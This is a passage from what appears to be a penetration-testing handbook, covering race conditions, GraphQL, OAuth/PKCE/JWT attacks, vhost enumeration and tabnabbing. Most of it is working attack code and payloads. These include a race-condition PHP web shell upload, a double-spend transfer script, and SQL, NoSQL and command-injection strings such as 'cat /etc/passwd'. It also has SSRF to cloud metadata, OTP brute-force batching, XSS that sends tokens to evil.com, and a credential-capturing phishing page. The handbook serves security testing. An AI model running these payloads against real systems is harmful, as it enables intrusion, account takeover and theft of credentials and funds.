        engine.queue(target.req, gate='race')
    
    engine.openGate('race')
```

### Money Transfer Double-Spend

```python
# Transfer same funds to multiple accounts simultaneously
import threading
import requests

def transfer(to_account):
    requests.post("https://bank.com/transfer", 
                  data={"to": to_account, "amount": 1000},
                  cookies={"session": "victim_session"})

threads = []
for account in ["attacker1", "attacker2", "attacker3"]:
    t = threading.Thread(target=transfer, args=(account,))
    threads.append(t)

# Start all threads simultaneously
for t in threads:
    t.start()
```

### Rate Limit Bypass

```bash
# Send many requests before rate limit kicks in
# All arrive within same time window
for i in {1..100}; do
  curl -s "https://target.com/api/check-password?password=attempt$i" &
done
wait
```

### File Upload Race

```python
# Upload file and access before validation deletes it
import threading
import requests

def upload():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post("https://target.com/upload", files=files)

def access():
    for _ in range(100):
        r = requests.get("https://target.com/uploads/shell.php?cmd=id")
        if "uid=" in r.text:
            print("SUCCESS:", r.text)
            break

# Run simultaneously
t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
```

### Inventory/Stock Manipulation

```http
POST /api/purchase HTTP/1.1
Host: store.com
Cookie: session=abc123

{"item_id": 1, "quantity": 1}
```

```
Scenario: Only 1 item in stock
1. Send 10 parallel purchase requests
2. All check "is stock >= 1?" before any decrement
3. Multiple purchases succeed
```

### OAuth State Race

```
1. Initiate OAuth flow, get state token
2. Send multiple parallel callbacks with same state
3. State may be accepted multiple times
4. Link multiple attacker accounts to victim's OAuth
```

## Detection Indicators

```
Signs of vulnerability:
- Operations involving balance/inventory checks
- Single-use tokens/codes
- Any "check then act" pattern
- Lack of database transactions
- Missing row-level locking

Signs during testing:
- Inconsistent results with parallel requests
- Balance going negative
- Stock going negative
- Multiple redemptions of single-use items
```

## Advanced Techniques

### Single Packet Attack

```python
# Most effective - all requests in one TCP packet
# Turbo Intruder with HTTP/2 single-packet mode

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                          concurrentConnections=1,
                          engine=Engine.BURP2)
    
    # Queue requests
    for i in range(20):
        engine.queue(target.req, gate='race')
    
    # Sync release - all in single packet
    engine.openGate('race')
```

### Last-Byte Synchronization

```
1. Send all requests except last byte
2. Server holds connections waiting
3. Send all final bytes simultaneously
4. Requests processed at same instant
```

### HTTP/2 Multiplexing

```python
# Use HTTP/2 to send multiple requests on single connection
# All frames arrive together, processed together

import httpx

async def h2_race():
    async with httpx.AsyncClient(http2=True) as client:
        tasks = [client.post("https://target.com/api/action") for _ in range(20)]
        responses = await asyncio.gather(*tasks)
```

## Tools & Resources

```bash
# Turbo Intruder (Burp Extension)
# Best for race conditions

# race-the-web
https://github.com/TheHackerDev/race-the-web

# racepwn
https://github.com/AhmedMohamedDev/racepwn

# Burp Suite timing features
# Repeater → Send group in parallel

# References
https://portswigger.net/research/smashing-the-state-machine
```

## Related Topics

* [IDOR](/enumeration/web/idor) - Often chains with race conditions
* [API Security](/enumeration/web/api-security) - APIs commonly vulnerable
* [Authentication Bypass](/enumeration/web/bruteforcing) - Rate limit bypass


# GraphQL Deep Dive

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: GraphQL basics, API testing

## Reconnaissance

### Endpoint Discovery

```bash
# Common GraphQL endpoints
/graphql
/graphql/console
/graphql/api
/graphql/graphql
/graphiql
/graphiql.php
/graphiql.js
/graphql.php
/graphql/schema.json
/v1/graphql
/api/graphql
/query
/gql
/playground

# Nuclei template
nuclei -u https://target.com -t graphql-detect.yaml
```

### Introspection Query

```bash
# Full introspection query
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }"}'

# Quick schema dump
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}'

# Get all queries
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name description } } } }"}'

# Get all mutations
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { mutationType { fields { name description } } } }"}'
```

### Tools for Discovery

```bash
# GraphQL Voyager - Schema visualization
# https://github.com/APIs-guru/graphql-voyager

# graphql-cop - Security auditor
# https://github.com/dolevf/graphql-cop
python graphql-cop.py -t https://target.com/graphql

# InQL - Burp extension & CLI
# https://github.com/doyensec/inern
inql -t https://target.com/graphql

# graphw00f - Fingerprinting
# https://github.com/dolevf/graphw00f
python main.py -d -t https://target.com/graphql
```

## Authentication Bypass

### Bypass Introspection Restrictions

```bash
# Try GET requests
curl "https://target.com/graphql?query=\{__schema\{types\{name\}\}\}"

# Add X-Requested-With header
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -H "X-Requested-With: XMLHttpRequest" \
  -d '{"query":"{ __schema { types { name } } }"}'

# Use __type instead of __schema
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __type(name: \"User\") { fields { name } } }"}'

# Field suggestions (if introspection disabled but suggestions enabled)
# Send invalid query and check error message for field suggestions
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user { asdfasdf } }"}'
# Response: Did you mean "id", "name", "email"?

# Clairvoyance - Recover schema without introspection
# https://github.com/nikitastupin/clairvoyance
python -m clairvoyance -o schema.json https://target.com/graphql
```

### Authorization Flaws

```graphql
# IDOR - Access other users' data
query {
  user(id: "1") {
    id
    email
    password
    creditCard
  }
}

# Test with different IDs
query {
  user(id: "2") { ... }
}

# Access admin-only fields
query {
  user(id: "1") {
    id
    email
    isAdmin
    role
    permissions
  }
}

# Access nested objects
query {
  user(id: "1") {
    orders {
      id
      total
      paymentDetails {
        cardNumber
      }
    }
  }
}
```

## Injection Attacks

### SQL Injection

```graphql
# Basic SQLi in arguments
query {
  user(name: "admin' OR '1'='1") {
    id
    email
  }
}

# Union-based
query {
  user(name: "' UNION SELECT username, password FROM users--") {
    name
    email
  }
}

# In filter arguments
query {
  users(filter: { name_contains: "' OR 1=1--" }) {
    id
    name
  }
}

# In order by
query {
  users(orderBy: "name; DROP TABLE users--") {
    id
  }
}
```

### NoSQL Injection

```graphql
# MongoDB injection
query {
  user(name: "{\"$gt\": \"\"}") {
    id
    email
  }
}

# Regex injection
query {
  users(filter: { name_regex: ".*" }) {
    id
    email
    password
  }
}
```

### OS Command Injection

```graphql
# If backend executes shell commands
mutation {
  exportData(format: "csv; cat /etc/passwd") {
    url
  }
}

mutation {
  generateReport(type: "pdf`whoami`") {
    status
  }
}
```

## Batching Attacks

### Query Batching for Brute Force

```bash
# Array-based batching
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation { login(user:\"admin\", pass:\"password1\") { token } }"},
    {"query":"mutation { login(user:\"admin\", pass:\"password2\") { token } }"},
    {"query":"mutation { login(user:\"admin\", pass:\"password3\") { token } }"}
  ]'

# Alias-based batching (single request, multiple operations)
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { 
    a1: login(user:\"admin\", pass:\"password1\") { token }
    a2: login(user:\"admin\", pass:\"password2\") { token }
    a3: login(user:\"admin\", pass:\"password3\") { token }
  }"}'
```

### OTP/2FA Bypass via Batching

```graphql
# Brute force OTP in single request
mutation {
  v0: verifyOTP(code: "000000") { success }
  v1: verifyOTP(code: "000001") { success }
  v2: verifyOTP(code: "000002") { success }
  # ... continue to 999999
}
```

## Denial of Service

### Recursive Query (Circular References)

```graphql
# If user has friends that are also users
query {
  user(id: "1") {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                # Nest deeper...
                name
              }
            }
          }
        }
      }
    }
  }
}
```

### Field Duplication

```graphql
query {
  users {
    name name name name name name name name name name
    email email email email email email email email email email
    # Repeat many times
  }
}
```

### Batch Query DoS

```bash
# Send thousands of queries in array
# Generate with script
python3 -c "import json; print(json.dumps([{'query':'{ users { name } }'}]*10000))" | \
  curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d @-
```

### Directive Overloading

```graphql
query {
  users @skip(if: false) @skip(if: false) @skip(if: false) @skip(if: false) {
    name
  }
}
```

## SSRF via GraphQL

```graphql
# If there's a URL fetch field
mutation {
  importUrl(url: "http://169.254.169.254/latest/meta-data/") {
    content
  }
}

# File:// protocol
mutation {
  importUrl(url: "file:///etc/passwd") {
    content
  }
}

# Internal services
mutation {
  webhook(url: "http://internal-service:8080/admin") {
    status
  }
}
```

## File Upload Attacks

```bash
# GraphQL multipart request
curl -X POST https://target.com/graphql \
  -H "Content-Type: multipart/form-data" \
  -F 'operations={"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
  -F 'map={"0":["variables.file"]}' \
  -F '0=@malicious.php'

# Test path traversal in filename
-F '0=@shell.php;filename=../../../var/www/html/shell.php'
```

## Subscriptions Attacks

### WebSocket Hijacking

```javascript
// Connect to subscription endpoint
const ws = new WebSocket('wss://target.com/graphql', 'graphql-ws');

ws.onopen = () => {
  // Initialize connection
  ws.send(JSON.stringify({
    type: 'connection_init',
    payload: {}
  }));
  
  // Subscribe to sensitive events
  ws.send(JSON.stringify({
    id: '1',
    type: 'start',
    payload: {
      query: `subscription {
        onUserCreated {
          id
          email
          password
        }
      }`
    }
  }));
};

ws.onmessage = (event) => {
  console.log(JSON.parse(event.data));
};
```

## Tools & Automation

### GraphQL-specific Tools

```bash
# BatchQL - Batched query security testing
# https://github.com/assetnote/batchql
python batchql.py -e https://target.com/graphql

# CrackQL - Brute force via batching
# https://github.com/nicholasaleks/CrackQL
python CrackQL.py -t https://target.com/graphql \
  -q "mutation { login(email: \"VARIABLE\", password: \"PASSWORD\") { token } }" \
  -i usernames.txt

# graphql-path-enum - Find paths to sensitive types
# https://gitlab.com/dee-see/graphql-path-enum
graphql-path-enum -i schema.json -t PrivateData
```

### Burp Suite Integration

```bash
# InQL Scanner extension
# 1. Install from BApp Store
# 2. Send GraphQL request to InQL Scanner
# 3. Analyze schema and generate queries
# 4. Test mutations and subscriptions

# GraphQL Raider extension
# Automatic query modification and testing
```

## Defense Bypass Techniques

### Rate Limiting Bypass

```graphql
# Alias-based batching bypasses per-query rate limits
mutation {
  q1: resetPassword(email: "victim@example.com")
  q2: resetPassword(email: "victim@example.com")
  q3: resetPassword(email: "victim@example.com")
}

# Different operation names
mutation op1 { resetPassword(email: "victim@example.com") }
mutation op2 { resetPassword(email: "victim@example.com") }
```

### WAF Bypass

```bash
# Change Content-Type
Content-Type: application/graphql
Content-Type: text/plain

# Use GET with query parameter
GET /graphql?query={users{name}}

# URL encode
GET /graphql?query=%7Busers%7Bname%7D%7D

# Add spaces/newlines
{"query":"{\n  users\n  {\n    name\n  }\n}"}

# Use fragments
query { 
  ...UserFields 
}
fragment UserFields on Query {
  users { name }
}
```

## Checklist

```markdown
## Reconnaissance
- [ ] Find GraphQL endpoint
- [ ] Test introspection
- [ ] Fingerprint GraphQL implementation
- [ ] Map schema (queries, mutations, subscriptions)

## Authentication/Authorization
- [ ] Test IDOR on object access
- [ ] Test field-level authorization
- [ ] Test mutation authorization
- [ ] Check for sensitive data exposure

## Injection
- [ ] SQL injection in arguments
- [ ] NoSQL injection
- [ ] Command injection
- [ ] SSRF via URL fields

## DoS
- [ ] Test circular queries
- [ ] Test field duplication
- [ ] Test batch query limits
- [ ] Test query depth limits

## Other
- [ ] Batching for brute force
- [ ] File upload attacks
- [ ] Subscription hijacking
- [ ] Rate limiting bypass
```

## Related Topics

* [API Security](/enumeration/web/api-security) - REST/gRPC testing
* [SSRF](/enumeration/web/ssrf) - Server-side request forgery
* [SQL Injection](/enumeration/web/sqli) - Database attacks


# OAuth/PKCE Attacks

> **Skill Level**: Intermediate to Advanced\
> **Prerequisites**: OAuth flows understanding, HTTP basics

## OAuth Flow Overview

```
Authorization Code Flow (with PKCE):
1. Client generates code_verifier and code_challenge
2. Client redirects user to /authorize with code_challenge
3. User authenticates, server returns authorization_code
4. Client exchanges code + code_verifier for tokens at /token
5. Server validates code_verifier matches code_challenge
6. Server returns access_token (and optionally refresh_token)
```

## Reconnaissance

### Endpoint Discovery

```bash
# Common OAuth endpoints
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/authorize
/oauth/token
/oauth2/authorize
/oauth2/token
/authorize
/token
/auth
/login/oauth/authorize

# Fetch OpenID configuration
curl https://target.com/.well-known/openid-configuration | jq

# Extract endpoints
curl -s https://target.com/.well-known/openid-configuration | jq '{
  authorization: .authorization_endpoint,
  token: .token_endpoint,
  userinfo: .userinfo_endpoint,
  jwks: .jwks_uri,
  introspection: .introspection_endpoint,
  revocation: .revocation_endpoint
}'
```

### Client Discovery

```bash
# Find registered OAuth clients
# Check JavaScript files for client_id
grep -r "client_id" static/js/

# Common client IDs in URLs
?client_id=web
?client_id=mobile
?client_id=api
?client_id=public

# Check mobile apps for OAuth config
apktool d app.apk
grep -r "client_id\|client_secret\|oauth" .
```

## Authorization Code Attacks

### Open Redirect via redirect\_uri

```bash
# Basic redirect manipulation
https://oauth.target.com/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://evil.com&
  response_type=code&
  scope=openid

# Subdomain takeover
redirect_uri=https://abandoned.target.com

# Path traversal
redirect_uri=https://target.com/../../../evil.com
redirect_uri=https://target.com/callback/../../../evil.com

# URL encoding bypass
redirect_uri=https://target.com%2f%2e%2e%2f@evil.com
redirect_uri=https://target.com%00@evil.com

# Parameter pollution
redirect_uri=https://target.com&redirect_uri=https://evil.com
?redirect_uri=https://target.com?next=https://evil.com

# Fragment injection
redirect_uri=https://target.com/callback#@evil.com

# Different protocol
redirect_uri=http://target.com (downgrade from https)
redirect_uri=javascript:alert(1)

# IPv6
redirect_uri=https://[::1]:8080/callback

# Localhost variations
redirect_uri=https://127.0.0.1/callback
redirect_uri=https://localhost.target.com/callback
```

### Authorization Code Interception

```bash
# If redirect_uri validation is weak, intercept code
# 1. Get victim to click malicious link
# 2. Code sent to attacker's redirect_uri
# 3. Attacker exchanges code for tokens

# Exploit via open redirect on target
https://oauth.target.com/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://target.com/redirect?url=https://evil.com&
  response_type=code
```

### Authorization Code Replay

```bash
# Try reusing authorization code
# Most servers invalidate after first use

# Race condition - use code twice simultaneously
for i in {1..100}; do
  curl -X POST https://oauth.target.com/token \
    -d "grant_type=authorization_code&code=AUTH_CODE&client_id=ID" &
done
```

## PKCE Attacks

### Missing PKCE Enforcement

```bash
# Try authorization without code_challenge (on public clients)
# If server accepts, PKCE is optional - vulnerable

https://oauth.target.com/authorize?
  client_id=PUBLIC_CLIENT&
  redirect_uri=https://target.com/callback&
  response_type=code&
  scope=openid
  # Missing: code_challenge, code_challenge_method

# Then exchange without code_verifier
curl -X POST https://oauth.target.com/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "client_id=PUBLIC_CLIENT" \
  -d "redirect_uri=https://target.com/callback"
  # Missing: code_verifier
```

### Weak Code Challenge

```bash
# If server accepts "plain" method
code_challenge_method=plain
code_challenge=my_verifier
# Then code_verifier = code_challenge (no hashing)

# Check if plain method is accepted
https://oauth.target.com/authorize?
  code_challenge=test&
  code_challenge_method=plain&
  ...
```

### Code Verifier Brute Force

```bash
# If code_challenge/verifier are weak/predictable
# PKCE spec: 43-128 characters, [A-Za-z0-9-._~]

# Generate valid code_challenge from verifier
echo -n "my_code_verifier" | sha256sum | cut -d' ' -f1 | xxd -r -p | base64 -w0 | tr '+/' '-_' | tr -d '='
```

## Token Attacks

### Access Token Leakage

```bash
# Token in URL fragment (Implicit flow - deprecated)
https://target.com/callback#access_token=TOKEN&token_type=bearer

# Token in Referer header
# If callback page has external resources, token leaks

# Token in browser history
# Implicit flow tokens persist in URL

# Token in logs
# Check server logs, CDN logs, proxy logs
```

### Token Theft via XSS

```javascript
// Steal tokens from localStorage/sessionStorage
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));

// Intercept OAuth callback
if (window.location.hash.includes('access_token')) {
  fetch('https://evil.com/steal' + window.location.hash);
}

// Hook postMessage (if used for token delivery)
window.addEventListener('message', function(e) {
  fetch('https://evil.com/steal?data=' + JSON.stringify(e.data));
});
```

### Refresh Token Attacks

```bash
# Refresh token rotation not implemented
# Old refresh tokens still valid after rotation

# Test refresh token reuse
curl -X POST https://oauth.target.com/token \
  -d "grant_type=refresh_token" \
  -d "refresh_token=OLD_REFRESH_TOKEN" \
  -d "client_id=CLIENT_ID"

# Refresh token doesn't expire
# Check if refresh tokens work months later

# Refresh token scope escalation
curl -X POST https://oauth.target.com/token \
  -d "grant_type=refresh_token" \
  -d "refresh_token=REFRESH_TOKEN" \
  -d "scope=admin openid profile email"
```

## State Parameter Attacks

### CSRF via Missing State

```html
<!-- If state parameter is not required -->
<img src="https://oauth.target.com/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://target.com/callback&
  response_type=code&
  scope=openid">

<!-- Victim's browser makes OAuth request, attacker intercepts code -->
```

### State Fixation

```bash
# If state is predictable or reusable
# Attacker generates authorization URL with known state
# Victim clicks, attacker knows state value
# Attacker can complete OAuth flow

# Test state reuse
# 1. Start OAuth flow, get state value
# 2. Complete flow
# 3. Try using same state again
```

### State Injection

```bash
# If state is reflected without encoding
state="><script>alert(1)</script>
state=test&injected_param=value
```

## Scope Manipulation

### Scope Upgrade

```bash
# Request more scopes than authorized
https://oauth.target.com/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://target.com/callback&
  response_type=code&
  scope=openid+admin+user:delete

# Try during token refresh
curl -X POST https://oauth.target.com/token \
  -d "grant_type=refresh_token" \
  -d "refresh_token=TOKEN" \
  -d "scope=openid admin"
```

### Scope Downgrade Attack

```bash
# Remove important scopes to bypass consent
# If app expects "email" scope but attacker removes it
# App might not handle missing claims properly
scope=openid  # Missing expected "email" scope
```

## JWT Token Attacks

### Algorithm Confusion

```bash
# Change RS256 to HS256
# Use public key as HMAC secret

# Original token header: {"alg":"RS256","typ":"JWT"}
# Modified: {"alg":"HS256","typ":"JWT"}

# Sign with RSA public key as HMAC secret
# https://github.com/ticarpi/jwt_tool
python jwt_tool.py TOKEN -X k -pk public.pem

# Set algorithm to none
python jwt_tool.py TOKEN -X a
```

### Key Injection (jwk/jku)

```bash
# Inject attacker's JWK
# https://github.com/ticarpi/jwt_tool
python jwt_tool.py TOKEN -X i

# Use attacker's JWKS endpoint
python jwt_tool.py TOKEN -X s -ju https://evil.com/.well-known/jwks.json
```

### JWT Claims Manipulation

```bash
# Modify claims without re-signing (if signature not verified)
# Decode token
echo "eyJ..." | base64 -d

# Modify payload
{
  "sub": "admin",
  "scope": "openid admin",
  "exp": 9999999999
}

# Common claims to test:
# - sub: user identifier
# - aud: audience
# - iss: issuer
# - exp: expiration
# - scope: permissions
# - role: user role
```

## Client Credential Attacks

### Client Secret Exposure

```bash
# Search for secrets in:
- Mobile app binaries
- JavaScript source
- Git repositories
- Environment variables in CI/CD
- Docker images
- Public S3 buckets

# GitHub search
org:target "client_secret"
org:target "oauth" "secret"

# If found, impersonate the client
curl -X POST https://oauth.target.com/token \
  -u "client_id:client_secret" \
  -d "grant_type=client_credentials"
```

### Client Authentication Bypass

```bash
# Try without client_secret
curl -X POST https://oauth.target.com/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "client_id=CLIENT_ID"
  # No client_secret

# Try in different locations
# POST body vs Authorization header
Authorization: Basic base64(client_id:)
```

## Social Login Attacks

### Account Takeover via OAuth

```bash
# 1. Create account with attacker@evil.com on target
# 2. Link social login (Google) with attacker@evil.com
# 3. Victim has Google account with victim@target.com
# 4. Target app links accounts by email
# 5. Attacker can login as victim via Google

# Test email verification bypass
# Register with victim's email without verification
# Then link OAuth provider
```

### Pre-Account Takeover

```bash
# 1. Attacker creates account with victim's email (unverified)
# 2. Victim signs up with OAuth (same email)
# 3. Accounts get linked
# 4. Attacker already has password for the account
```

## Tools

### OAuth Testing Tools

```bash
# BurpSuite OAuth Scanner extension

# OAuthTester
# https://github.com/AresS31/OAuthTester

# jwt_tool - JWT manipulation
# https://github.com/ticarpi/jwt_tool
python jwt_tool.py -t https://target.com/oauth -rc cookies.txt

# oauth2c - OAuth 2.0 CLI
# https://github.com/cloudentity/oauth2c

# Keycloak (for testing server behavior)
docker run -p 8080:8080 -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:latest start-dev
```

## OAuth 2.1 Changes

```bash
# OAuth 2.1 deprecates:
- Implicit grant (response_type=token)
- Resource Owner Password Credentials grant
- Bearer tokens in query strings

# OAuth 2.1 requires:
- PKCE for all authorization code grants
- Exact redirect_uri matching
- Refresh token rotation

# Test if server enforces OAuth 2.1
# Try deprecated flows - they should fail
```

## Checklist

```markdown
## Reconnaissance
- [ ] Discover OAuth endpoints
- [ ] Find registered clients
- [ ] Check OpenID configuration
- [ ] Identify grant types supported

## redirect_uri Attacks
- [ ] Open redirect
- [ ] Subdomain takeover
- [ ] Path traversal
- [ ] Parameter pollution

## Authorization Code
- [ ] Code interception
- [ ] Code replay
- [ ] Race conditions

## PKCE
- [ ] Missing PKCE enforcement
- [ ] Weak code_challenge
- [ ] plain method accepted

## Tokens
- [ ] Token leakage
- [ ] JWT attacks
- [ ] Refresh token reuse
- [ ] Scope escalation

## State
- [ ] Missing state (CSRF)
- [ ] State fixation
- [ ] Predictable state

## Client Security
- [ ] Exposed client_secret
- [ ] Client auth bypass
- [ ] Public client abuse
```

## Related Topics

* [OIDC](/enumeration/webservices/oidc-open-id-connect) - OpenID Connect testing
* [JWT](/enumeration/webservices/jwt) - JSON Web Token attacks
* [CSRF](/enumeration/web/csrf) - Cross-site request forgery
* [Open Redirect](https://github.com/six2dez/pentest-book/blob/master/enumeration/web/open-redirect.md) - URL redirection


# VHosts

Virtual Host (vhost) enumeration discovers additional websites hosted on the same IP address but responding to different hostnames.

## Why VHost Enumeration Matters

* Web servers can host multiple sites on one IP using the `Host` header
* Subdomains may not have DNS records (internal/dev sites)
* Different vhosts may have different security postures
* Can reveal admin panels, staging environments, APIs

## Enumeration Techniques

### Using ffuf (Recommended)

```bash
# Basic vhost fuzzing
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://10.10.10.10 -H "Host: FUZZ.target.com" -fs 0

# Filter by response size (adjust based on default response)
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -u http://10.10.10.10 -H "Host: FUZZ.target.com" -fs 4242

# Filter by status code
ffuf -w wordlist.txt -u http://10.10.10.10 -H "Host: FUZZ.target.com" -fc 400,404

# With HTTPS
ffuf -w wordlist.txt -u https://10.10.10.10 -H "Host: FUZZ.target.com" -fs 0
```

### Using gobuster

```bash
# Vhost mode
gobuster vhost -u http://target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# With specific IP
gobuster vhost -u http://10.10.10.10 -w wordlist.txt --domain target.com --append-domain

# Filter unwanted status codes
gobuster vhost -u http://target.com -w wordlist.txt --exclude-length 0
```

### Using wfuzz

```bash
# Basic vhost fuzzing
wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" --hc 400,404 http://10.10.10.10

# Hide responses by size
wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" --hh 1234 http://10.10.10.10

# Hide responses by word count
wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" --hw 50 http://10.10.10.10
```

### Specialized Tools

```bash
# Virtual Host Discovery
# https://github.com/jobertabma/virtual-host-discovery
ruby scan.rb --ip=192.168.1.101 --host=domain.tld

# VHosts Sieve - Find vhosts in non-resolvable domains
# https://github.com/dariusztytko/vhosts-sieve
python3 vhosts-sieve.py -d domains.txt -o vhosts.txt

# HostHunter - Discover hostnames from IP ranges
# https://github.com/SpiderLabs/HostHunter
python3 hosthunter.py targets.txt -o hosts.txt
```

## Finding VHosts Without DNS

```bash
# Extract potential hostnames from SSL certificates
echo | openssl s_client -connect 10.10.10.10:443 2>/dev/null | openssl x509 -noout -text | grep -oP '(?<=DNS:)[^,]+'

# Check certificate SAN (Subject Alternative Names)
nmap --script ssl-cert -p 443 10.10.10.10

# Reverse DNS lookup
host 10.10.10.10

# Check for common internal hostnames
for host in admin dev staging test api internal portal; do
  curl -s -o /dev/null -w "%{http_code} - $host.target.com\n" \
    -H "Host: $host.target.com" http://10.10.10.10
done
```

## Adding Discovered VHosts

```bash
# Add to /etc/hosts for testing
echo "10.10.10.10 dev.target.com staging.target.com admin.target.com" | sudo tee -a /etc/hosts

# Or use curl with Host header directly
curl -H "Host: dev.target.com" http://10.10.10.10/
```

## Wordlists for VHost Fuzzing

```bash
# SecLists
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

# Common internal hostnames
/usr/share/seclists/Discovery/DNS/namelist.txt
```

## Related Topics

* [Subdomain Enumeration](/recon/subdomain-enum)
* [Crawl/Fuzz](/enumeration/web/crawl-fuzz)
* [SSRF](/enumeration/web/ssrf) - VHosts can be internal SSRF targets


# Tabnabbing

Tabnabbing (reverse tabnabbing) allows an attacker-controlled page to rewrite the content of a parent page, typically replacing it with a phishing site.

## How It Works

1. Victim clicks a link that opens in a new tab (`target="_blank"`)
2. The new page has access to `window.opener` (the original page)
3. Attacker's page executes: `window.opener.location = "https://phishing-site.com"`
4. Original tab silently redirects to phishing site
5. Victim returns to original tab, sees fake login, enters credentials

## Vulnerable Code Pattern

```html
<!-- VULNERABLE: No rel attribute -->
<a href="https://attacker.com" target="_blank">Click me</a>

<!-- VULNERABLE: Empty rel attribute -->
<a href="https://attacker.com" target="_blank" rel="">Click me</a>

<!-- VULNERABLE: Only noreferrer (still allows opener access in some browsers) -->
<a href="https://attacker.com" target="_blank" rel="noreferrer">Click me</a>
```

## Secure Code Pattern

```html
<!-- SECURE: noopener prevents window.opener access -->
<a href="https://external.com" target="_blank" rel="noopener">Click me</a>

<!-- SECURE: Both noopener and noreferrer -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click me</a>

<!-- SECURE: Modern browsers auto-add noopener, but explicit is better -->
```

## Detection

### Manual Testing

```bash
# Find vulnerable links
grep -rn 'target="_blank"' . | grep -v 'noopener'
grep -rn 'target=\\"_blank\\"' . | grep -v 'noopener'

# Check in browser DevTools
# Elements tab → search: target="_blank"
# Verify each has rel="noopener"
```

### Automated Scanning

```bash
# Using nuclei
nuclei -t http/vulnerabilities/generic/tabnabbing-check.yaml -u https://target.com

# Using custom grep on crawled pages
katana -u https://target.com -d 3 | while read url; do
  curl -s "$url" | grep -oP '<a[^>]*target="_blank"[^>]*>' | grep -v 'noopener'
done
```

## Exploitation

### Basic Attack Page

```html
<!-- attacker.com/evil.html -->
<!DOCTYPE html>
<html>
<head><title>Interesting Article</title></head>
<body>
<h1>Loading content...</h1>
<script>
if (window.opener) {
    // Redirect parent to phishing page
    window.opener.location = "https://attacker.com/phishing.html";
}
</script>
</body>
</html>
```

### Phishing Page

```html
<!-- attacker.com/phishing.html (looks like target) -->
<!DOCTYPE html>
<html>
<head><title>Target.com - Session Expired</title></head>
<body>
<h1>Your session has expired</h1>
<form action="https://attacker.com/capture" method="POST">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <button type="submit">Login</button>
</form>
</body>
</html>
```

### Delayed Attack (More Stealthy)

```javascript
// Wait before redirecting (victim less likely to notice)
setTimeout(function() {
    if (window.opener) {
        window.opener.location = "https://attacker.com/phishing.html";
    }
}, 5000); // 5 seconds delay
```

## Attack Scenarios

| Scenario      | Description                                |
| ------------- | ------------------------------------------ |
| Forum posts   | User-submitted links with target="\_blank" |
| Comments      | Blog/article comment sections              |
| User profiles | Profile links to external sites            |
| Documentation | Links to external resources                |
| Email links   | Webmail rendering links                    |

## Browser Behavior

| Browser      | Default Behavior (2024+)   |
| ------------ | -------------------------- |
| Chrome 88+   | Implicitly adds `noopener` |
| Firefox 79+  | Implicitly adds `noopener` |
| Safari 12.1+ | Implicitly adds `noopener` |
| Edge 88+     | Implicitly adds `noopener` |

> **Note:** While modern browsers add implicit protection, explicit `rel="noopener"` is still recommended for older browser support and code clarity.

## window\.open() Vulnerability

```javascript
// VULNERABLE
window.open('https://attacker.com');

// SECURE
window.open('https://external.com', '_blank', 'noopener,noreferrer');
```

## Related Topics

* [XSS](/enumeration/web/xss) - Can be used to inject malicious links
* [Phishing](/others/social-engineering) - Tabnabbing enables phishing
* [CSRF](/enumeration/web/csrf) - Related browser security issues


# Web Technologies

**Check out in the left submenu what common attack you want review**


# APIs

## Tools

```bash
# Tools
https://github.com/Fuzzapi/fuzzapi
https://github.com/Fuzzapi/API-fuzzer
https://github.com/flipkart-incubator/Astra
https://github.com/BBVA/apicheck/
https://github.com/ngalongc/openapi_security_scanner
https://github.com/assetnote/kiterunner
https://github.com/s0md3v/dump/tree/master/json2paths
https://github.com/API-Security/APIKit

# API keys guesser
